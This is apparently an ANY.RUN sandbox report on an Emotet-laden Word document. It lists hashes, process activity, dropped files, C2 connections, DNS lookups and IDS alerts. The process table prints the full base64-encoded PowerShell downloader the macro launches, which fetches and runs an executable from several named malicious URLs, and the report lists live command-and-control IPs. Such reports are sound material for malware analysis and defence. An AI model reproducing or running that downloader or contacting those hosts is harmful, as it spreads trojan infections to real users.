analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

sample3.doc

Full analysis: https://app.any.run/tasks/10d37386-d306-4f0a-a96b-dbc6f4744d03
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Analysis date: May 15, 2019, 08:28:31
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
loader
emotet
trojan
evasion
emotet-doc
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Garden Cayman Islands Dollar, Subject: circuit, Author: Pearl Beatty, Comments: cross-platform PCI plum, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed May 15 08:34:00 2019, Last Saved Time/Date: Wed May 15 08:34:00 2019, Number of Pages: 1, Number of Words: 30, Number of Characters: 172, Security: 0
MD5:

6D132F7ED386E77C1DBB8BDC02820698

SHA1:

09C80F69FF7A61EBA8145538C168AC52FC5E7CDC

SHA256:

1041BF0B05D7AB777252793A46FC9626D90002B87379AED40A1E735DF59B4CE7

SSDEEP:

3072:a77HUUUUUUUUUUUUUUUUUUUTkOQePu5U8q0PNt4LQRnfCHnxBnn9Y:a77HUUUUUUUUUUUUUUUUUUUT52VZSLQR

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Application was dropped or rewritten from another process

      • 299.exe (PID: 2748)
      • 299.exe (PID: 1500)
      • soundser.exe (PID: 2540)
      • soundser.exe (PID: 272)
    • Emotet process was detected

      • soundser.exe (PID: 272)
    • EMOTET was detected

      • soundser.exe (PID: 2540)
    • Downloads executable files from the Internet

      • powershell.exe (PID: 3504)
    • Changes the autorun value in the registry

      • soundser.exe (PID: 2540)
    • Connects to CnC server

      • soundser.exe (PID: 2540)
  • SUSPICIOUS

    • Application launched itself

      • 299.exe (PID: 2748)
    • Creates files in the user directory

      • powershell.exe (PID: 3504)
    • Executable content was dropped or overwritten

      • powershell.exe (PID: 3504)
      • 299.exe (PID: 1500)
    • Starts itself from another location

      • 299.exe (PID: 1500)
    • Connects to server without host name

      • soundser.exe (PID: 2540)
  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2948)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2948)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Manager: Satterfield
HeadingPairs:
  • Title
  • 1
TitleOfParts: -
HyperlinksChanged: No
SharedDoc: No
LinksUpToDate: No
ScaleCrop: No
AppVersion: 16
CharCountWithSpaces: 201
Paragraphs: 1
Lines: 1
Company: Zemlak LLC
CodePage: Windows Latin 1 (Western European)
Security: None
Characters: 172
Words: 30
Pages: 1
ModifyDate: 2019:05:15 07:34:00
CreateDate: 2019:05:15 07:34:00
TotalEditTime: -
Software: Microsoft Office Word
RevisionNumber: 1
LastModifiedBy: -
Template: Normal.dotm
Comments: cross-platform PCI plum
Keywords: -
Author: Pearl Beatty
Subject: circuit
Title: Garden Cayman Islands Dollar
CompObjUserType: Microsoft Word 97-2003 Document
CompObjUserTypeLen: 32
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
40
Monitored processes
6
Malicious processes
5
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start winword.exe no specs powershell.exe 299.exe no specs 299.exe #EMOTET soundser.exe no specs #EMOTET soundser.exe

Process information

PID
CMD
Path
Indicators
Parent process
2948"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\sample3.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
3504powershell -enc JAB3ADgANQA1ADIAMgBfADkAPQAnAGwAOQBfADUAOQAxADcAMAAnADsAJABBADAAOQA2ADkAOQAgAD0AIAAnADIAOQA5ACcAOwAkAEsANgA0ADgAOAAxADkAMAA9ACcAbwAxAF8AOAAyADcANwAnADsAJAB6ADMAMwA1AF8AOQBfADAAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEEAMAA5ADYAOQA5ACsAJwAuAGUAeABlACcAOwAkAFYAMwA1ADEAMgA3AD0AJwBGADkAXwAwADYAMgAyACcAOwAkAE0ANAA3ADgAMQA3AF8ANwA9ACYAKAAnAG4AZQB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBlAFQALgB3AGUAYABCAGAAYwBMAEkARQBOAFQAOwAkAEQANwAxADUAMwBfADAAPQAnAGgAdAB0AHAAOgAvAC8AZAByAG0AYQByAGkAbgBzAC4AYwBvAG0ALwBlAG4AZwBsAC8AcABDAEEAZABPAEwAVwBMAEoALwBAAGgAdAB0AHAAOgAvAC8AaAB5AGIAcgBpAGQAYgB1AHMAaQBuAGUAcwBzAHMAbwBsAHUAdABpAG8AbgBzAC4AYwBvAG0ALgBhAHUALwBjAGcAaQAtAGIAaQBuAC8AdAA2AHkAZQAwAGoAXwB3AHkAaABmADQAeQB3AC0AMgAvAEAAaAB0AHQAcAA6AC8ALwBkAHUAcgBhAGsAYgB1AGYAZQBjAGUAbgBnAGUAbABrAG8AeQAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8ARwByAEkAQgBRAFQAbgBvAE8ALwBAAGgAdAB0AHAAOgAvAC8AcABlAHIAZgBvAHIAbQBhAG4AYwBlAHYAaQB0AGEAbABpAHQAeQAuAG4AZQB0AC8AcABhAHIAdABuAGUAcgAvAHIAcQAyAHQAbwB0AHYAXwBiAHIAeQBoAGQAcQBqAGMAMgAtADEANwAzADIAMAAvAEAAaAB0AHQAcAA6AC8ALwB0AG4AcgBrAGUAbgB0AG8AbgBvAGQAZQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AdgB4AGEAbABqAG4AZQBxAF8AZgA5AHYAYwB3AHYAcwB6ADAAMwAtADAAMQA1ADgANAA1ADUAMQA5AC8AJwAuAFMAUABMAEkAdAAoACcAQAAnACkAOwAkAEUAOQA2ADIAMgAwAD0AJwB6ADgAMQA5ADcANgAnADsAZgBvAHIAZQBhAGMAaAAoACQAawA0ADUANwAwADgANwAgAGkAbgAgACQARAA3ADEANQAzAF8AMAApAHsAdAByAHkAewAkAE0ANAA3ADgAMQA3AF8ANwAuAGQATwBXAG4ATABvAEEARABmAEkATABFACgAJABrADQANQA3ADAAOAA3ACwAIAAkAHoAMwAzADUAXwA5AF8AMAApADsAJABIADMANgAwADUAMwAyADUAPQAnAEYAMAA4ADQAXwAwADAAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJAB6ADMAMwA1AF8AOQBfADAAKQAuAGwAZQBuAEcAVABIACAALQBnAGUAIAAzADkAOAA4ADgAKQAgAHsALgAoACcASQAnACsAJwBuAHYAbwBrACcAKwAnAGUALQBJAHQAZQBtACcAKQAgACQAegAzADMANQBfADkAXwAwADsAJABmADEAMwA0ADgAOQAzADAAPQAnAFoANABfADEANAAwADcAXwAnADsAYgByAGUAYQBrADsAJABmADEAOAA2ADkAOQA3ADgAPQAnAHIANwBfADIAMwAxACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEcAOABfADQAMwA2AD0AJwB2ADcAXwAxADMAXwA0ADcAJwA=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2748"C:\Users\admin\299.exe" C:\Users\admin\299.exepowershell.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
1500--809e8ef0C:\Users\admin\299.exe
299.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
272"C:\Users\admin\AppData\Local\soundser\soundser.exe"C:\Users\admin\AppData\Local\soundser\soundser.exe
299.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
2540--3ab57678C:\Users\admin\AppData\Local\soundser\soundser.exe
soundser.exe
User:
admin
Integrity Level:
MEDIUM
Total events
1 715
Read events
1 231
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
2
Text files
0
Unknown types
15

Dropped files

PID
Process
Filename
Type
2948WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRDE3.tmp.cvr
MD5:
SHA256:
3504powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\DHYB6ISPDJHQLI8YB1HQ.temp
MD5:
SHA256:
2948WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\880877B.wmfwmf
MD5:218905130D1958E465299327FE957156
SHA256:F6C47F0377D727E76B954391931F9AC68D4B834D7793B1E2452E02DAA83327D2
2948WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\EDCA86F7.wmfwmf
MD5:C7C7A0B02C2FF0D24F6ED0935AE07C7B
SHA256:2C81E9C9116BB63C61F10B5611C6EB5C28530DAFEEC16C4923EC1F1CC6953139
2948WINWORD.EXEC:\Users\admin\AppData\Local\Temp\Word8.0\MSForms.exdtlb
MD5:100F08AAD9471E353464E1B9B363CB2B
SHA256:273AAE2EC111778FD7B13D3997BAE5A6B8AADB37F17CC4008A2FE9795D45BCB7
3504powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:16D0FD6E07266B2C15A9D7BC6623F506
SHA256:833367DC50386D139010182CEDE41B4D055F8D463626EC4005652528B3E0871B
2948WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\7A55431D.wmfwmf
MD5:EFA5A756B991BDBA98365E5B5EC315C6
SHA256:43F6FB35F69F26824C87033D5A3E64C31DD91D7146A42C4DAD380C1C1416220A
2948WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\AFD92033.wmfwmf
MD5:4A59D6C5ED47E65FFB431B8C88B9AE80
SHA256:68BE1CB46D2ECB562723DCBF34840104E91139312E6B9897BFD3840A160769FE
2948WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:5AB8FDB550CEF33A41135907EDACEA21
SHA256:B313EC3B7731E49E8197F3027D1E9BB7650F7DE250BEC72E876D9FBE7B5D72C8
3504powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF121833.TMPbinary
MD5:16D0FD6E07266B2C15A9D7BC6623F506
SHA256:833367DC50386D139010182CEDE41B4D055F8D463626EC4005652528B3E0871B
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
9
TCP/UDP connections
146
DNS requests
265
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2540
soundser.exe
POST
200
115.71.233.127:443
http://115.71.233.127:443/site/cab/ringin/
KR
bs
105 Kb
malicious
2540
soundser.exe
POST
200
115.71.233.127:443
http://115.71.233.127:443/attrib/
KR
binary
105 Kb
malicious
2540
soundser.exe
POST
200
200.85.46.122:80
http://200.85.46.122/balloon/tlb/ringin/
PY
binary
705 Kb
malicious
2540
soundser.exe
POST
200
115.71.233.127:443
http://115.71.233.127:443/acquire/jit/
KR
binary
105 Kb
malicious
2540
soundser.exe
POST
200
115.71.233.127:443
http://115.71.233.127:443/merge/enabled/ringin/
KR
binary
105 Kb
malicious
2540
soundser.exe
GET
200
115.71.233.127:443
http://115.71.233.127:443/whoami.php
KR
text
15 b
malicious
3504
powershell.exe
GET
200
13.76.250.225:80
http://drmarins.com/engl/pCAdOLWLJ/
SG
executable
74.5 Kb
malicious
2540
soundser.exe
POST
200
200.85.46.122:80
http://200.85.46.122/img/free/
PY
binary
148 b
malicious
2540
soundser.exe
POST
200
115.71.233.127:443
http://115.71.233.127:443/nsip/
KR
binary
105 Kb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2540
soundser.exe
115.71.233.127:443
DAOU TECHNOLOGY
KR
malicious
3504
powershell.exe
13.76.250.225:80
drmarins.com
Microsoft Corporation
SG
suspicious
2540
soundser.exe
87.248.114.11:25
mail.yahoo.com
Yahoo! UK Services Limited
GB
shared
2540
soundser.exe
200.85.46.122:80
Telecel S.A.
PY
malicious
2540
soundser.exe
3.88.78.89:25
smtp.sv.computrabajo.com
US
unknown
2540
soundser.exe
52.206.227.58:465
mail.elsandbox.learnzillion.com
Amazon.com, Inc.
US
unknown
2540
soundser.exe
72.34.169.12:587
mail.allhandsfiresca.na3.onlinecheckout.com
Netsuite Inc.
US
unknown
2540
soundser.exe
65.55.72.183:25
mail.hotmail.com
Microsoft Corporation
US
whitelisted
2540
soundser.exe
108.174.3.215:25
mail.linkedin.com
LinkedIn Corporation
US
unknown
2540
soundser.exe
159.127.187.12:465
mail.paypal.com
Epsilon Interactive LLC
US
suspicious

DNS requests

Domain
IP
Reputation
drmarins.com
  • 13.76.250.225
malicious
mail.mylostaccount.org.uk
unknown
mail.allhandsfiresca.na3.onlinecheckout.com
  • 72.34.169.12
unknown
mail.cheapoair.com
unknown
smtp.epublic-access.riverside.courts.ca.gov
unknown
mail.ups.com
unknown
mail.yahoo.com
  • 87.248.114.11
  • 87.248.114.12
shared
smtp.dmtb.loadtracking.com
unknown
mail.linkedin.com
  • 108.174.3.215
  • 108.174.6.215
  • 108.174.0.215
shared
smtp.tradera.com
unknown

Threats

PID
Process
Class
Message
3504
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
3504
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
3504
powershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
2540
soundser.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
2540
soundser.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
2540
soundser.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
2540
soundser.exe
Potentially Bad Traffic
ET POLICY HTTP traffic on port 443 (POST)
2540
soundser.exe
Generic Protocol Command Decode
SURICATA Applayer Detect protocol only one direction
2540
soundser.exe
Generic Protocol Command Decode
SURICATA Applayer Detect protocol only one direction
2540
soundser.exe
Generic Protocol Command Decode
SURICATA Applayer Detect protocol only one direction
16 ETPRO signatures available at the full report
No debug info